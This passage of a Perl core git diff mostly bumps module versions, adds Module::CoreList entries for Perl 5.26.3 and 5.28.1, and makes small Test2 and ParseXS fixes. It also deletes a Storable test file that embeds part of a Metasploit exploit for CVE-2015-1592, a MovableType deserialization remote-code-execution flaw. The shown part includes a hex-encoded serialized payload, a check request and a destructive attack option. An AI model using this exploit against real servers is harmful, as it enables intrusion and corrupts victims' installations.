b/cpan/Test-Simple/lib/Test2/Event/Pass.pm
index 6447c996b5..b65aa8ff80 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Pass.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Pass.pm
@@ -2,7 +2,7 @@ package Test2::Event::Pass;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test2::EventFacet::Info;
 
diff --git a/cpan/Test-Simple/lib/Test2/Event/Plan.pm 
b/cpan/Test-Simple/lib/Test2/Event/Plan.pm
index a1e286d273..435353c50c 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Plan.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Plan.pm
@@ -2,7 +2,7 @@ package Test2::Event::Plan;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Skip.pm 
b/cpan/Test-Simple/lib/Test2/Event/Skip.pm
index 3d260f80db..36b41d27a0 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Skip.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Skip.pm
@@ -2,7 +2,7 @@ package Test2::Event::Skip;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Subtest.pm 
b/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
index 3e11a58e93..430703b16b 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Subtest.pm
@@ -2,7 +2,7 @@ package Test2::Event::Subtest;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::Event::Ok; our @ISA = qw(Test2::Event::Ok) }
 use Test2::Util::HashBase qw{subevents buffered subtest_id subtest_uuid};
diff --git a/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm 
b/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
index ae87320c43..f814a11255 100644
--- a/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm
@@ -2,7 +2,7 @@ package Test2::Event::TAP::Version;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Carp qw/croak/;
 
diff --git a/cpan/Test-Simple/lib/Test2/Event/V2.pm 
b/cpan/Test-Simple/lib/Test2/Event/V2.pm
index 940df0b8ea..b6462b0495 100644
--- a/cpan/Test-Simple/lib/Test2/Event/V2.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/V2.pm
@@ -2,7 +2,7 @@ package Test2::Event::V2;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Scalar::Util qw/reftype/;
 use Carp qw/croak/;
diff --git a/cpan/Test-Simple/lib/Test2/Event/Waiting.pm 
b/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
index 35a520d259..1d9f1f7c80 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Waiting.pm
@@ -2,7 +2,7 @@ package Test2::Event::Waiting;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet.pm
index cb1fa052bb..0bcf6e46df 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test2::Util::HashBase qw/-details/;
 use Carp qw/croak/;
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/About.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
index cafb289ba8..04bdaf9b39 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/About.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::About;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 use Test2::Util::HashBase qw{ -package -no_display -uuid -eid };
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
index 4f13426ae1..e1af0c2598 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Amnesty;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 sub is_list { 1 }
 
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
index 670c55facb..1ad411d713 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Assert;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 use Test2::Util::HashBase qw{ -pass -no_debug -number };
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
index 92271dcc1d..7da7a0c9fa 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Control.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Control;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 use Test2::Util::HashBase qw{ -global -terminate -halt -has_callback -encoding 
};
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
index b7730e8ba6..3ccdc8960e 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Error;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 sub facet_key { 'errors' }
 sub is_list { 1 }
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
index ae7a8267cd..d594971112 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Hub;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 sub is_list { 1 }
 sub facet_key { 'hubs' }
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
index 27a8ccc818..1a8e0853f5 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Info;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 sub is_list { 1 }
 
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
index ba543b76dc..d8ce84dbf8 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Meta;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 use vars qw/$AUTOLOAD/;
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
index 19d407ff88..14ae5472e1 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Parent;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Carp qw/confess/;
 
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
index 1e51c19fa8..c11f4de290 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Plan;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 use Test2::Util::HashBase qw{ -count -skip -none };
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
index b425031f68..4544a68093 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Render;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 sub is_list { 1 }
 
diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm 
b/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
index a90f9f49bf..1adab728a0 100644
--- a/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
+++ b/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm
@@ -2,7 +2,7 @@ package Test2::EventFacet::Trace;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) }
 
diff --git a/cpan/Test-Simple/lib/Test2/Formatter.pm 
b/cpan/Test-Simple/lib/Test2/Formatter.pm
index 90be6e2a81..2922de053b 100644
--- a/cpan/Test-Simple/lib/Test2/Formatter.pm
+++ b/cpan/Test-Simple/lib/Test2/Formatter.pm
@@ -2,7 +2,7 @@ package Test2::Formatter;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 my %ADDED;
diff --git a/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm 
b/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
index 76f4da88ab..c3017d0161 100644
--- a/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
+++ b/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
@@ -2,7 +2,7 @@ package Test2::Formatter::TAP;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test2::Util qw/clone_io/;
 
diff --git a/cpan/Test-Simple/lib/Test2/Hub.pm 
b/cpan/Test-Simple/lib/Test2/Hub.pm
index 3916d81913..37959cb813 100644
--- a/cpan/Test-Simple/lib/Test2/Hub.pm
+++ b/cpan/Test-Simple/lib/Test2/Hub.pm
@@ -2,7 +2,7 @@ package Test2::Hub;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Carp qw/carp croak confess/;
diff --git a/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm 
b/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
index d3e5c65f17..11b0d88962 100644
--- a/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
+++ b/cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm
@@ -2,7 +2,7 @@ package Test2::Hub::Interceptor;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test2::Hub::Interceptor::Terminator();
diff --git a/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm 
b/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
index f81897100a..3c94361a72 100644
--- a/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
+++ b/cpan/Test-Simple/lib/Test2/Hub/Interceptor/Terminator.pm
@@ -2,7 +2,7 @@ package Test2::Hub::Interceptor::Terminator;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 1;
diff --git a/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm 
b/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
index 8052a38c71..41d344219d 100644
--- a/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
+++ b/cpan/Test-Simple/lib/Test2/Hub/Subtest.pm
@@ -2,7 +2,7 @@ package Test2::Hub::Subtest;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::Hub; our @ISA = qw(Test2::Hub) }
 use Test2::Util::HashBase qw/nested exit_code manual_skip_all/;
diff --git a/cpan/Test-Simple/lib/Test2/IPC.pm 
b/cpan/Test-Simple/lib/Test2/IPC.pm
index 489facd309..4bd67a6dd6 100644
--- a/cpan/Test-Simple/lib/Test2/IPC.pm
+++ b/cpan/Test-Simple/lib/Test2/IPC.pm
@@ -2,12 +2,13 @@ package Test2::IPC;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test2::API::Instance;
 use Test2::Util qw/get_tid/;
 use Test2::API qw{
+    test2_in_preload
     test2_init_done
     test2_ipc
     test2_has_ipc
@@ -24,7 +25,7 @@ use Test2::API qw{
     no warnings 'void';
     INIT {
         use warnings 'void';
-        context()->release();
+        context()->release() unless test2_in_preload();
     }
 }
 
diff --git a/cpan/Test-Simple/lib/Test2/IPC/Driver.pm 
b/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
index ee3255f93b..e8a3245737 100644
--- a/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
+++ b/cpan/Test-Simple/lib/Test2/IPC/Driver.pm
@@ -2,7 +2,7 @@ package Test2::IPC::Driver;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Carp qw/confess/;
diff --git a/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm 
b/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
index abfd4744fa..df29e645ac 100644
--- a/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
+++ b/cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm
@@ -2,7 +2,7 @@ package Test2::IPC::Driver::Files;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::IPC::Driver; our @ISA = qw(Test2::IPC::Driver) }
diff --git a/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm 
b/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
index 3672cc4afe..93e69483b1 100644
--- a/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
+++ b/cpan/Test-Simple/lib/Test2/Tools/Tiny.pm
@@ -16,7 +16,7 @@ use Test2::API qw/context run_subtest test2_stack/;
 use Test2::Hub::Interceptor();
 use Test2::Hub::Interceptor::Terminator();
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Exporter; our @ISA = qw(Exporter) }
 our @EXPORT = qw{
diff --git a/cpan/Test-Simple/lib/Test2/Util.pm 
b/cpan/Test-Simple/lib/Test2/Util.pm
index b4b9175537..0050f9a7e9 100644
--- a/cpan/Test-Simple/lib/Test2/Util.pm
+++ b/cpan/Test-Simple/lib/Test2/Util.pm
@@ -2,7 +2,7 @@ package Test2::Util;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use POSIX();
 use Config qw/%Config/;
diff --git a/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm 
b/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
index 8dacc838cd..829122c058 100644
--- a/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
+++ b/cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm
@@ -2,7 +2,7 @@ package Test2::Util::ExternalMeta;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Carp qw/croak/;
diff --git a/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm 
b/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
index 597b37c942..0d057fe60a 100644
--- a/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
+++ b/cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm
@@ -2,7 +2,7 @@ package Test2::Util::Facets2Legacy;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Carp qw/croak confess/;
 use Scalar::Util qw/blessed/;
diff --git a/cpan/Test-Simple/lib/Test2/Util/HashBase.pm 
b/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
index cead581802..a2a7c7e01b 100644
--- a/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
+++ b/cpan/Test-Simple/lib/Test2/Util/HashBase.pm
@@ -2,7 +2,7 @@ package Test2::Util::HashBase;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 #################################################################
 #                                                               #
diff --git a/cpan/Test-Simple/lib/Test2/Util/Trace.pm 
b/cpan/Test-Simple/lib/Test2/Util/Trace.pm
index 2a6cc6f1cb..4747d138e3 100644
--- a/cpan/Test-Simple/lib/Test2/Util/Trace.pm
+++ b/cpan/Test-Simple/lib/Test2/Util/Trace.pm
@@ -2,7 +2,7 @@ package Test2::Util::Trace;
 require Test2::EventFacet::Trace;
 @ISA = ('Test2::EventFacet::Trace');
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 1;
 
diff --git a/cpan/Test-Simple/lib/ok.pm b/cpan/Test-Simple/lib/ok.pm
index 75fdaf6a40..4ab7f6e4ec 100644
--- a/cpan/Test-Simple/lib/ok.pm
+++ b/cpan/Test-Simple/lib/ok.pm
@@ -1,5 +1,5 @@
 package ok;
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use strict;
 use Test::More ();
diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm 
b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm
index e1f0940745..fba7f4d73d 100644
--- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm
+++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm
@@ -11,7 +11,7 @@ use Symbol;
 
 our $VERSION;
 BEGIN {
-  $VERSION = '3.39';
+  $VERSION = '3.40';
   require ExtUtils::ParseXS::Constants; 
ExtUtils::ParseXS::Constants->VERSION($VERSION);
   require ExtUtils::ParseXS::CountLines; 
ExtUtils::ParseXS::CountLines->VERSION($VERSION);
   require ExtUtils::ParseXS::Utilities; 
ExtUtils::ParseXS::Utilities->VERSION($VERSION);
@@ -467,7 +467,7 @@ EOM
         $self->{defaults}->{$args[$i]} = $2;
         $self->{defaults}->{$args[$i]} =~ s/"/\\"/g;
       }
-      $self->{proto_arg}->[$i+1] = '$';
+      $self->{proto_arg}->[$i+1] = '$' unless $only_C_inlist_ref->{$args[$i]};
     }
     my $min_args = $num_args - $extra_args;
     $report_args =~ s/"/\\"/g;
diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm 
b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm
index 45b567404d..2c392e3b3d 100644
--- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm
+++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Constants.pm
@@ -3,7 +3,7 @@ use strict;
 use warnings;
 use Symbol;
 
-our $VERSION = '3.39';
+our $VERSION = '3.40';
 
 =head1 NAME
 
diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm 
b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm
index 5b48449dbb..a9258f9a31 100644
--- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm
+++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/CountLines.pm
@@ -1,7 +1,7 @@
 package ExtUtils::ParseXS::CountLines;
 use strict;
 
-our $VERSION = '3.39';
+our $VERSION = '3.40';
 
 our $SECTION_END_MARKER;
 
diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm 
b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm
index 9eba5e5058..840bac7f8e 100644
--- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm
+++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm
@@ -2,7 +2,7 @@ package ExtUtils::ParseXS::Eval;
 use strict;
 use warnings;
 
-our $VERSION = '3.39';
+our $VERSION = '3.40';
 
 =head1 NAME
 
diff --git a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm 
b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm
index ae25b33b47..58f385600e 100644
--- a/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm
+++ b/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Utilities.pm
@@ -5,7 +5,7 @@ use Exporter;
 use File::Spec;
 use ExtUtils::ParseXS::Constants ();
 
-our $VERSION = '3.39';
+our $VERSION = '3.40';
 
 our (@ISA, @EXPORT_OK);
 @ISA = qw(Exporter);
diff --git a/dist/ExtUtils-ParseXS/t/002-more.t 
b/dist/ExtUtils-ParseXS/t/002-more.t
index 4aaa3ab081..e98229095c 100644
--- a/dist/ExtUtils-ParseXS/t/002-more.t
+++ b/dist/ExtUtils-ParseXS/t/002-more.t
@@ -9,7 +9,7 @@ use ExtUtils::CBuilder;
 use attributes;
 use overload;
 
-plan tests => 29;
+plan tests => 30;
 
 my ($source_file, $obj_file, $lib_file);
 
@@ -48,7 +48,7 @@ SKIP: {
 }
 
 SKIP: {
-  skip "no dynamic loading", 25
+  skip "no dynamic loading", 26
     if !$b->have_compiler || !$Config{usedl};
   my $module = 'XSMore';
   $lib_file = $b->link( objects => $obj_file, module_name => $module );
@@ -92,6 +92,9 @@ SKIP: {
 
   is_deeply [XSMore::outlist()], [ord('a'), ord('b')], 'the OUTLIST keyword';
 
+  # eval so compile-time sees any prototype
+  is_deeply [ eval 'XSMore::outlist()' ], [ord('a'), ord('b')], 'OUTLIST 
prototypes';
+
   is XSMore::len("foo"), 3, 'the length keyword';
 
   is XSMore::sum(5, 9), 14, 'the INCLUDE_COMMAND directive';
diff --git a/dist/Module-CoreList/Changes b/dist/Module-CoreList/Changes
index 3de404061b..1bc790b407 100644
--- a/dist/Module-CoreList/Changes
+++ b/dist/Module-CoreList/Changes
@@ -1,3 +1,9 @@
+5.20181129_28
+  - Updated for v5.28.1
+
+5.20181129_26
+  - Updated for v5.26.3
+
 5.20181120
   - Updated for v5.29.5
 
diff --git a/dist/Module-CoreList/lib/Module/CoreList.pm 
b/dist/Module-CoreList/lib/Module/CoreList.pm
index 82df49704e..7fe484e115 100644
--- a/dist/Module-CoreList/lib/Module/CoreList.pm
+++ b/dist/Module-CoreList/lib/Module/CoreList.pm
@@ -340,6 +340,8 @@ sub changes_between {
     5.029003 => '2018-09-20',
     5.029004 => '2018-10-20',
     5.029005 => '2018-11-20',
+    5.026003 => '2018-11-29',
+    5.028001 => '2018-11-29',
     5.029006 => '2018-12-20',
   );
 
@@ -15844,6 +15846,30 @@ for my $version ( sort { $a <=> $b } keys %released ) {
         removed => {
         }
     },
+    5.026003 => {
+        delta_from => 5.026002,
+        changed => {
+            'Archive::Tar'          => '2.24_01',
+            'B::Op_private'         => '5.026003',
+            'Config'                => '5.026003',
+            'Module::CoreList'      => '5.20181129_26',
+            'Module::CoreList::TieHashDelta'=> '5.20181129_26',
+            'Module::CoreList::Utils'=> '5.20181129_26',
+        },
+        removed => {
+        }
+    },
+    5.028001 => {
+        delta_from => 5.028,
+        changed => {
+            'B::Op_private'         => '5.028001',
+            'Config'                => '5.028001',
+            'Module::CoreList'      => '5.20181129_28',
+            'Module::CoreList::Utils'=> '5.20181129_28',
+        },
+        removed => {
+        }
+    },
     5.029006 => {
         delta_from => 5.029005,
         changed => {
@@ -16790,6 +16816,20 @@ sub is_core
         removed => {
         }
     },
+    5.026003 => {
+        delta_from => 5.026002,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.028001 => {
+        delta_from => 5.028000,
+        changed => {
+        },
+        removed => {
+        }
+    },
 );
 
 %deprecated = _undelta(\%deprecated);
diff --git a/dist/Module-CoreList/lib/Module/CoreList/Utils.pm 
b/dist/Module-CoreList/lib/Module/CoreList/Utils.pm
index 0534277fd8..9493778972 100644
--- a/dist/Module-CoreList/lib/Module/CoreList/Utils.pm
+++ b/dist/Module-CoreList/lib/Module/CoreList/Utils.pm
@@ -1438,6 +1438,20 @@ my %delta = (
         removed => {
         }
     },
+    5.026003 => {
+        delta_from => 5.026002,
+        changed => {
+        },
+        removed => {
+        }
+    },
+    5.028001 => {
+        delta_from => 5.028000,
+        changed => {
+        },
+        removed => {
+        }
+    },
     5.029006 => {
         delta_from => 5.029005,
         changed => {
diff --git a/dist/Storable/t/CVE-2015-1592.inc 
b/dist/Storable/t/CVE-2015-1592.inc
deleted file mode 100644
index 481dba5307..0000000000
--- a/dist/Storable/t/CVE-2015-1592.inc
+++ /dev/null
@@ -1,261 +0,0 @@
-#!/usr/bin/perl
-
-=pod
-
-class MetasploitModule < Msf::Exploit::Remote
-  Rank = GoodRanking
-
-  include Msf::Exploit::Remote::HttpClient
-
-  def initialize(info = {})
-    super(update_info(info,
-      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
-      'Description'    => %q{
-          This module exploits a serialization flaw in MovableType before 
5.2.12 to execute
-          arbitrary code. The default nondestructive mode depends on the 
target server having
-          the Object::MultiType and DateTime Perl modules installed in Perl's 
@INC paths.
-          The destructive mode of operation uses only required MovableType 
dependencies,
-          but it will noticeably corrupt the MovableType installation.
-      },
-      'Author'         =>
-        [
-          'John Lightsey',
-        ],
-      'License'        => MSF_LICENSE,
-      'References'     =>
-        [
-          [ 'CVE', '2015-1592' ],
-          [ 'URL', 
'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html'
 ],
-        ],
-      'Privileged'     => false, # web server context
-      'Payload'        =>
-        {
-          'DisableNops' => true,
-          'BadChars'    => ' ',
-          'Space'       => 1024,
-        },
-      'Compat'         =>
-        {
-          'PayloadType' => 'cmd'
-        },
-      'Platform'       => ['unix'],
-      'Arch'           => ARCH_CMD,
-      'Targets'        => [['Automatic', {}]],
-      'DisclosureDate' => 'Feb 11 2015',
-      'DefaultTarget'  => 0))
-
-    register_options(
-      [
-        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory 
path', '/cgi-bin/mt/']),
-        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more 
likely to succeed, but corrupts target system.)', false])
-      ], self.class
-    )
-
-  end
-
-=cut
-
-# generate config parameters for injection checks
-
-use Storable;
-
-{
-
-    package XXXCHECKXXX;
-
-    sub STORABLE_thaw {
-        return 1;
-    }
-
-    sub STORABLE_freeze {
-        return 1;
-    }
-
-}
-
-my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
-my $frozen2 = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x 
=> $check_obj});
-$frozen2 = unpack 'H*', $frozen2;
-#print "LFI test for storable flaw is: $frozen2\n";
-
-{
-    package DateTime;
-    use overload '+' => sub { 'ignored' };
-}
-
-=pod
-
-  def check
-    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load 
failure")
-    res = send_request_cgi({
-        'method'    => 'GET',
-        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
-        'vars_get' => {
-          '__mode' => 'retry',
-          'step'   => 'configure',
-          'config' => 
'53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
-        }
-      })
-
-    unless res && res.code == 200 && res.body.include?("Can't locate 
XXXCHECKXXX.pm")
-      vprint_status("Failed XXXCHECKXXX.pm load test");
-      return Exploit::CheckCode::Safe
-    end
-    Exploit::CheckCode::Vulnerable
-  end
-
-  def exploit
-    if datastore['DESTRUCTIVE']
-      exploit_destructive
-    else
-      exploit_nondestructive
-    end
-  end
-
-=cut
-
-#!/usr/bin/perl
-
-# Generate nondestructive config parameter for RCE via Object::MultiType
